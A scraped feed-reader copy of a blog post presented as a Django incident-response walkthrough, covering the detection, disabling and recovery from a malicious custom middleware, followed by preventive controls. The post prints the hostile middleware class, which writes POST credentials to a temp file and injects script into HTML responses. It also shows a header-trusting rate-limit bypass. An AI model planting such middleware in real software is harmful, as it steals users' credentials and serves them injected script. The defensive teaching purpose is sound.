ๆƒฏๆ€ง่šๅˆ ้ซ˜ๆ•ˆ่ฟฝ่ธชๅ’Œ้˜…่ฏปไฝ ๆ„Ÿๅ…ด่ถฃ็š„ๅšๅฎขใ€ๆ–ฐ้—ปใ€็ง‘ๆŠ€่ต„่ฎฏ
้˜…่ฏปๅŽŸๆ–‡ ๅœจๆƒฏๆ€ง่šๅˆไธญๆ‰“ๅผ€

ๆŽจ่่ฎข้˜…ๆบ

F
Full Disclosure
Recorded Future
Recorded Future
T
Tenable Blog
S
Securelist
C
CERT Recently Published Vulnerability Notes
T
Threatpost
S
Schneier on Security
A
Arctic Wolf
The Hacker News
The Hacker News
C
CXSECURITY Database RSS Feed - CXSecurity.com
Know Your Adversary
Know Your Adversary
P
Privacy International News Feed
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
The Register - Security
The Register - Security
Cisco Talos Blog
Cisco Talos Blog
AWS News Blog
AWS News Blog
K
Kaspersky official blog
T
True Tiger Recordings
T
Threat Research - Cisco Blogs
V
Vulnerabilities โ€“ Threatpost
P
Palo Alto Networks Blog
T
The Exploit Database - CXSecurity.com
ๅฐไผ—่ฝฏไปถ
ๅฐไผ—่ฝฏไปถ
B
Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Microsoft Azure Blog
Microsoft Azure Blog
Cyberwarzone
Cyberwarzone
C
Cybersecurity and Infrastructure Security Agency CISA
T
Tor Project blog
Spread Privacy
Spread Privacy
Malwarebytes
Malwarebytes
P
Proofpoint News Feed
F
Fox-IT International blog
F
Fortinet All Blogs
P
Privacy & Cybersecurity Law Blog
G
GRAHAM CLULEY
้‡
้‡ๅญไฝ
Latest news
Latest news
OSCHINA ็คพๅŒบๆœ€ๆ–ฐๆ–ฐ้—ป
OSCHINA ็คพๅŒบๆœ€ๆ–ฐๆ–ฐ้—ป
ๅš
ๅšๅฎขๅ›ญ - ๅถๅฐ้’—
Project Zero
Project Zero
T
Tailwind CSS Blog
N
Netflix TechBlog - Medium
Martin Fowler
Martin Fowler
IntelliJ IDEA : IntelliJ IDEA โ€“ the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA โ€“ the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
I
Intezer
ๅš
ๅšๅฎขๅ›ญ_้ฆ–้กต
่…พ
่…พ่ฎฏCDC
H
Hackread โ€“ Cybersecurity News, Data Breaches, AI and More
D
Darknet โ€“ Hacking Tools, Hacker News & Cyber Security

DEV Community

I Built a Self-Healing Extension Stabilizer for Ungoogled Chromium (and You Can Use It Too) I scanned Dub's codebase. It's not a link shortener. AI Coding Subscriptions: Where to Go After GitHub Copilot Changes EClaw vs Slack and Mattermost for Multi-Agent Workflows I Built a Free Interactive GitHub Learning Platform โ€” Web Guide + Terminal Guide + Git Reference + CLI Sandbox 9 Dart Syntactic Sugar Features That Make My Codebase Happier The Day We Realized Events Were the Bottleneck (And Why We Moved to Rust) Stripe and Friendly Fraud: What the HN Crowd Got Right โ€” and What Progenix Does About It BGP Knowledge for Indie Hackers: Is It Really Necessary? LangGraph vs CrewAI vs AutoGen in 2026: Pick the Right AI Agent Framework (Or Skip Frameworks Entirely) How to Brier-grade your own ML option-pricing forecasts in 40 lines of Python Bulk Downloading 1688 Product Images: A Lesson in Maxing Out Bandwidth I built a Rust inference engine that streams MoE expert weights from NVMe SSDs, no GPU required Open vs Closed LLMs in 2026: The Game-Changing Convergence [03:32:15] AI Agents Are Quietly Taking Over Your Industry โ€” Here's What's Happening [03:32:02] Understanding React Rendering Flow I shipped 29 browser-only image tools. These 5 boring patterns kept the codebase sane Your Treasure Hunt Engine Was Probably a Latency Minefield (And Heres the Postmortem) Before You Add More Agents, Design the Control Plane ๐—–๐—ฎ๐—ฐ๐—ต๐—ถ๐—ป๐—ด ๐—ฆ๐˜๐—ฟ๐—ฎ๐˜๐—ฒ๐—ด๐—ถ๐—ฒ๐˜€ ๐—˜๐˜…๐—ฝ๐—น๐—ฎ๐—ถ๐—ป๐—ฒ๐—ฑ (Backend & Frontend Developers) I Let AI Replace Me for a Week as a (Kinda Junior) AI Engineer ๐Ÿ˜… The Day Our Configs Were Backwards (And How Rust Fixed It) Deploying NextDNS Router-Side to Strip Ads From Video Discovery Traffic I Migrated Redis to KeyDB โ€” Same Protocol, 5x Throughput, $0 Rewrite Vibe Coding for Senior iOS Developers - 6 Takeaways after Shipping 10 Apps in 4 Months Revisiting Benchmarking- Building a Rust A2A Agent I Built a Daily News Newsletter Bot with Hermes Agent โ€” Here's Everything That Went Wrong (and Right) The Django Singleton Model: How to Manage Page Headers Without a CMS I built 51 free browser-based developer tools โ€” here's why and how How I Built a 28-Tool AI Video SaaS Solo with Python, Flask and OpenAI xAI Just Dropped 'Grok Build': The Terminal-Native Agentic AI Changing How We Code Solana's Account Model Explained By Someone Who Got Confused By It First That 0.8 second P99 Latency Cliff in Production Wasnt Supposed to Happen Chia sแบฝ cรขu hแปi pv backend dev REST API Design: Building APIs Developers Love (2026) Code Signing a Tauri App for macOS โ€” The Complete Flow Adding Gemma 4 speech recognition to a .NET desktop app: the llama-server sidecar that survived The Moment We Realized Our Treasure Hunt Engine Was Lying to Us Is it a good practice to use a single Builder pattern for both Creating and Updating an entity? BMAD Method + Claude Code: How I Actually Ship Projects with Spec-Driven AI Development I Vibe-Coded a Stock Screener Into Production. Then My 2GB Server OOMed and Google De-Indexed Me. Developing WriterzRoom: Governed Multi-Agent AI for Regulated Content Workflows I Built a Profiler to Audit My Own AI Tool Calls. Here's What I Learned About Observability contributions. From Simple GitHub Contributions to a Production Wikimedia Merge โ€” My Open Source Journey as Gautam Kumar Maurya (GKM) What Is Identity on Solana? (For Web2 Developers) RAG - Sparse Embedding On Age Verification Repo Drift Is the Hidden Cost of AI Coding Agents โ€” and one Fix Is Simpler Than You Think Building an Image-to-3D Workflow with Pixal3D: From One Image to a GLB Asset Rust Was the Constraint: How We Discovered the Language Was Our Scaling Bottleneck Infinite Tool Call Loops in LangChain Agents: A Real Fix Estimating Distance to BLE Beacons Using RSSI and TxPower in HarmonyOS How I Used Kubernetes Documentation Effectively During the CKA Exam Agentic Transformation: From AI Assistance to Engineering Leverage When Your ChatLlamaCpp Stream Causes an Infinite Loop MartinLoop: a control plane for AI coding agents Stop Cloning Entire Repos for Your Doc Builds Rux: A Modern Systems Programming Language Worth Watching Building calculatefreelance: A lightweight Next.js utility for the 1099 economy MUDs โ€” The Grandfather MMOs Chapter-marker survival across the EPUB to multi-voice audio pipeline Magnifica Humanitas: How the Pope walked into the room full of AI engineers and said what few else dared to say. Race-Condition: How a Single SQL Line Eliminated 100 Lines of Retry and Lock Code Multi-Line Formatting by Default AI Agents Also Need ID - When Your AI Assistant Starts Using Your Credit Card rdev-go-ddgen: Automating Domain Directory Boilerplate for Go Applications refactor: optimize core execution modules and integrate ContractGuard logic How does VuReact implement Vue v-on in React I Replaced My Entire Business Stack with 4 Notion Templates We Tried 6 Memory Providers for Hermes Agent โ€” Here's What We Learned Can Google Antigravity 2.0 Pass the "Napkin Challenge"? ๐Ÿ“๐Ÿš€ Multiplexing SSH Connections with Control Master: Speed Up Deployments and Automation I Built a Screenshot-to-React Generator in 3 Hours Why 'AI Without Hype' Stopped Differentiating in 2026 A SEC filing research prompt pack for source-aware stock research SchemaSpy vs SchemaCrawler - Which Database Documentation Tool is Right for You? One of the First Public HiDream-O1-Image LoRAs โ€” and How to Train Your Own Human-in-the-Loop: The Most Important Concept in AI That Keeps You Employed TIL 5/22/2026 How We Shipped more than 60 Design System Components in 5 Weeks Using Figma as the Single Source of Truth Why HVAC Owners Lose More Money in the Office Than They Make in the Field What will you think of when you read about a neural network!!? Mathematics? ๐Ÿค” I Built a Free Finance Dashboard as a Solo Dev โ€” Here's What I Learned Drive JHipster with your AI agent: introducing jhipster-mcp (v0.0.4) Pokemon Battle Simulator Napkin Challenge! Looking for a Founding Engineer Copy Job CDC with SQL estate is now GA in Microsoft Fabric what terminal for CLI in Windows 10 do users like most Is Claude API Worth $3/1M Tokens Over Self-Hosted Llama? Vibe Coding Meets Spec-Driven Development: The Best of Both Worlds We Asked 10 LLMs to Write Efficient Code. Only 4 Got Better. 10 Models Tested: From 81.6% to 10%. The Free Tier is a Full-On Gamble. Building a Browser-Based Free Isometric Illustration Maker for Modern UI Animation Workflows Use Blunt Prompts and Get Shit Done MCP servers are just REST APIs in a polite wrapper - here's 5 lines of Python I Got Tired of LLMs Hallucinating Compliance, So I Built an Open-Source Governance Layer Containers & Agents with Docker & OpenClaw All About AI & Using Claude On the Shoulders of Giants: Package Registries, Node & NPM Decoupling Webhook Verification and Automating Unstructured Data Ingestion
๐Ÿ Custom Django middleware request response โ€” what devs get wrong
Python-T Poi ยท 2026-05-27 ยท via DEV Community

Python-T Point

An attacker injects a malicious payload through a seemingly benign API endpoint, bypassing validation by chaining multiple middleware checks. The next 12 minutes determine whether you isolate the threat or face a full database exfiltration. The initial triage reveals inconsistent request headers and altered response bodies across services โ€” indicators pointing to compromised middleware handling. In modern Django applications, custom django middleware request response manipulation is both a powerful tool and a critical attack surface. Understanding its behavior is not optional; itโ€™s foundational to securing the path every HTTP request and response traverses.

๐Ÿ“‘ Table of Contents

  • โฑ Minute 0-2 โ€” Stop the Bleed
  • ๐Ÿ›ก Minute 2-10 โ€” Contain and Assess
  • ๐Ÿ”€ Minute 10-X โ€” Recovery Decision Tree
  • ๐Ÿ” Preventive Controls โ€” Stop This From Happening Again
  • ๐ŸŸฉ Final Thoughts
  • โ“ Frequently Asked Questions
  • Whatโ€™s the difference between old-style and new-style Django middleware?
  • Can middleware modify the request body?
  • How do I test custom middleware?
  • ๐Ÿ“š References & Further Reading

โฑ Minute 0-2 โ€” Stop the Bleed

Monitoring detects abnormal response sizes from /api/v1/user/: average payload jumps from 1.2KB to 14KB within 90 seconds. Logs show repeated 200 OK responses with base64-encoded scripts appended to HTML footers. This is not cache poisoning. It's active response tampering. Do not restart the app or scale up instances. Restarting without mitigation propagates the compromised middleware stack. Check the current middleware configuration:

$ grep -A10 'MIDDLEWARE = \[' myproject/settings.py
MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'myapp.middleware.PayloadInjectorMiddleware', # โ† SUSPICIOUS 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', ...
]

Enter fullscreen mode Exit fullscreen mode

PayloadInjectorMiddleware is not part of the approved codebase. Confirmed. Do not delete the file yet. Maintain forensic integrity for audit and analysis. Disable the middleware by commenting it out:

MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', # 'myapp.middleware.PayloadInjectorMiddleware', # DISABLED FOR INVESTIGATION 'django.middleware.common.CommonMiddleware', ...
]

Enter fullscreen mode Exit fullscreen mode

Restart the application:

$ sudo systemctl restart gunicorn
# No output means success

Enter fullscreen mode Exit fullscreen mode

Verify traffic normalization:

$ curl -s -o /dev/null -w "%{size_download}" http://localhost:8000/api/v1/user/123
1248

Enter fullscreen mode Exit fullscreen mode

Payload size is back to baseline. The bleed is stopped.


๐Ÿ›ก Minute 2-10 โ€” Contain and Assess

Now isolate the injected component. Attack vectors include dependency confusion, direct file upload, or SSH compromise. Inspect the middleware file:

$ cat myapp/middleware.py


class PayloadInjectorMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # Log credentials โ€” attacker collects via rotated files if request.method == 'POST': with open('/tmp/creds.log', 'a') as f: f.write(f"{request.path}: {request.POST}\n") response = self.get_response(request) # Inject payload into text/html responses if response.get('Content-Type', '').startswith('text/html'): injected = b'' if response.content.endswith(b''): response.content = response.content.replace(b'', injected + b'') else: response.content += injected response['Content-Length'] = len(response.content) return response

Enter fullscreen mode Exit fullscreen mode

This is a custom django middleware request response hijack. The attack works because:

  • **call** executes on every request, giving full access to request.POST.
  • Direct mutation of response.content bypasses Djangoโ€™s template and response rendering protections.
  • The Content-Length header is recalculated, preserving HTTP validity. The injected script is delivered with every HTML response; no client-side XSS filter will catch this at scale. Search for other custom middleware:

    $ find . -name "middleware.py" -exec grep -l "get_response" {} \;

    ./myapp/middleware.py
    ./utils/greenhouse_middleware.py

Analyze the second file:

class RateOverrideMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # Disable rate limiting for /api if header is set if request.path.startswith('/api/') and request.META.get('HTTP_X_NO_RATE'): request.META['RATELIMIT_DISABLE'] = True return self.get_response(request)

Enter fullscreen mode Exit fullscreen mode

This is not actively malicious but introduces a privilege escalation vector. It trusts HTTP_X_NO_RATE without authentication or allowlisting. Check Git history:

$ git log - myapp/middleware.py


commit a1b2c3d4e5f (HEAD -> main)
Author: dev@thirdparty.com
Date: Mon Apr 5 14:30:12 Add performance middleware

Enter fullscreen mode Exit fullscreen mode

No prior commits. The file was written directly on the server โ€” a clear red flag. Containment steps:

  • Revoke all SSH keys issued to third-party vendors.
  • Rotate database credentials immediately.
  • Enable filesystem integrity monitoring via aide or tripwire.
  • Block outbound connections to mal.site at the firewall level:

    $ iptables -A OUTPUT -d mal.site -j DROP


๐Ÿ”€ Minute 10-X โ€” Recovery Decision Tree

The injected file was not in version control. Recovery path depends on available clean artifacts.

Can you confirm the last known clean state of the middleware stack?

If yes, and Git history is intact: Roll back to the last known clean commit. Redeploy through CI/CD. Confirm the MIDDLEWARE list matches:

$ git show HEAD~3:myproject/settings.py | grep -A10 MIDDLEWARE

Enter fullscreen mode Exit fullscreen mode

If no Git record, but filesystem snapshots exist: Restore /app/myapp/middleware.py from a 24-hour-old snapshot. Validate integrity:

$ sha256sum /app/myapp/middleware.py
a1b2c3d... # matches known clean hash

Enter fullscreen mode Exit fullscreen mode

Reboot the service. If logs show credential exfiltration: Invalidate all sessions and force password resets:

from django.contrib.sessions.models import Session
Session.objects.all().delete()

Enter fullscreen mode Exit fullscreen mode

Use Djangoโ€™s auth_token or JWT mechanisms to expire active tokens if applicable. If the middleware came from a malicious package: Run dependency checks:

$ pip check
$ pip-audit

Enter fullscreen mode Exit fullscreen mode

Inspect INSTALLED_APPS for unknown entries. Remove suspect packages:

$ pip uninstall suspicious-package-name

Enter fullscreen mode Exit fullscreen mode

If none of the above apply: Assume full system compromise. Take the application offline. Rebuild from a golden AMI or container image. Restore data from backups taken before the estimated compromise window. Conduct a post-mortem using audit logs, SSH access records, and file change timestamps.

Middleware runs on every request โ€” itโ€™s not just code, itโ€™s a gateway. Trust nothing that touches get_response.


๐Ÿ” Preventive Controls โ€” Stop This From Happening Again

After recovery, enforce structural safeguards.

  1. Immutable deployments: Allow only CI/CD-triggered deploys. Disable direct filesystem writes on production servers.
  2. File integrity monitoring: Deploy aide with hourly scans. Alert on changes to .py, .json, or .yaml files in app directories.
  3. Middleware audits: Maintain a signed list of authorized middleware classes in version control. Automate validation during deployment.
  4. Least-privilege file access: Run Gunicorn under a dedicated user with read-only access to application files. Deny write permissions entirely.
  5. Response body scanning: Use a reverse proxy like nginx with regex-based content inspection:

     location / { proxy_pass http://app; subs_filter '<script.*?tr\.js.*?>' '' gi; }
    

Or deploy a WAF rule to detect and block script injections in outbound HTML.

These practices ensure that custom django middleware request response execution remains controlled, even under partial compromise.


๐ŸŸฉ Final Thoughts

Django middleware operates at the framework level, intercepting every request before it reaches a view and every response before it leaves. This makes it powerful โ€” but also a high-value target. A single unauthorized class in MIDDLEWARE can exfiltrate credentials, manipulate responses, or disable security controls. The same mechanisms used for valid purposes โ€” injecting headers, modifying sessions, rate limiting โ€” become vulnerabilities when trust boundaries are violated. You do not need to eliminate middleware; you need to treat it with the same scrutiny as kernel modules or network gateways. Every class that implements **call** with get_response must be:

  • Version-controlled,
  • Peer-reviewed,
  • Minimal in scope,
  • Monitored for runtime changes. Because in production, middleware isnโ€™t just middleware. Itโ€™s execution control.

โ“ Frequently Asked Questions

Whatโ€™s the difference between old-style and new-style Django middleware?

New-style middleware uses the __call__ method and is configured in the MIDDLEWARE setting. It provides full control over the request/response cycle. Old-style middleware relied on separate methods like process_request and was listed in MIDDLEWARE_CLASSES, deprecated in Django 2.0. New-style is required for features like exception handling and atomic requests. (Also read: ๐Ÿšจ S3 Ransomware Response โ€” What to Do in the First Critical Minutes)

Can middleware modify the request body?

Yes, but only before the view processes it. request.POST is cached on first access. To alter form data, re-parse request.body and assign to request._post. Raw body modifications require careful handling of encoding and streaming.

How do I test custom middleware?

Use Djangoโ€™s RequestFactory to generate requests, wrap them with your middleware, and assert behavior. Example:

from django.test import RequestFactory
from myapp.middleware import MyMiddleware factory = RequestFactory()
request = factory.get('/test')
middleware = MyMiddleware(lambda r: HttpResponse())
response = middleware(request)
assert 'X-Custom-Header' in response

Enter fullscreen mode Exit fullscreen mode

Test edge cases: streaming responses, non-HTML content types, and exception paths.

๐Ÿ“š References & Further Reading